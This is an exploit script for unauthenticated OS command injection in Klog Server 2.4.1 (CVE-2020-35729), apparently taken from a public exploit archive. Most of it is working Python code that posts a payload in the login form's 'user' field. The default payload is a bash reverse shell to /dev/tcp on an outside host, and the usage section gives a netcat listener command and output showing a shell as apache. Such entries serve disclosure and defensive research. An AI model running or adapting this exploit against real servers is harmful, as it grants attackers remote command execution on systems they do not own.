Klog Server 2.4.1 Command Injection

`# Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated)  
# Date: 22.12.2020  
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)  
# Vendor Homepage: https://www.klogserver.com/  
# Version: 2.4.1  
# Tested On: Ubuntu 18.04  
# CVE: 2020-35729  
# Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER  
  
"""  
~ VULNERABILITY DETAILS ~  
  
#  
The Klog Server runs the injected os commands on the server , causing os command  
injection vulnerability.   
  
#  
The following python code will inject os command payload and can be relaized reverse  
shell connection.And you can be added payload except the default payload plugin.  
  
##USAGE##  
  
$sudo nc -nlvp 98  
$sudo python klog_exploit.py --exploit --url https://10.10.56.51:443/actions/authenticate.php --payload "test\"$bash -i >& /dev/tcp/10.10.56.52/98 0>&1&\""  
  
##OUTPUT##  
  
bash-4.2$whoami  
apache  
bash-4.2$  
  
"""  
  
import requests  
import argparse  
from colorama import Fore, Back, Style, init  
  
  
def main():  
  
desc = "KLOG SERVER 2.4.1 EXPLOIT"  
parser = argparse.ArgumentParser(description=desc)  
option = parser.add_argument_group('[*]OPTIONS[*]')  
parser.add_argument("--url", help=Fore.GREEN+"[*]TARGET URL ADDRESS[*]", required=False)  
parser.add_argument("--payload",help=Fore.GREEN+"[*] TO ADD PAYLOAD [*]", type=str,required=False)  
parser.add_argument("--exploit", help=Fore.GREEN+" ", action="store_true")  
args = parser.parse_args()  
  
if args.exploit:  
  
if args.url:  
url = args.url  
  
if args.payload:  
payload = args.payload  
target_send_config(url, payload)  
  
#default bash reverse shell payload  
else:  
payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""  
target_send_config(url, payload)  
  
else:  
#default url (klog server init ip address)  
url = "https://10.10.56.51:443/actions/authenticate.php"  
  
if args.payload:  
payload = args.payload  
target_send_config(url, payload)  
else:   
payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""  
target_send_config(url, payload)  
  
  
def target_send_config(url, payload):  
  
headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0",   
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",   
"Accept-Language": "en-US,en;q=0.5",   
"Accept-Encoding": "gzip, deflate",   
"Content-Type": "application/x-www-form-urlencoded",   
"Connection": "close",   
"Upgrade-Insecure-Requests": "1"}  
#injection place  
data = {"user": payload,   
"pswd": "test"}  
  
try:  
#post method send   
requests.post(url, headers=headers, data=data, verify=False)  
print(" ")  
print(Fore.GREEN+" "+"[+] EXPLOIT SUCCESSFUL PAYLOAD IS SENT [+]")  
except:  
print(Fore.RED+"[-] EXPLOIT FAILED [-]")  
  
if __name__ == '__main__':  
main()  
  
  
`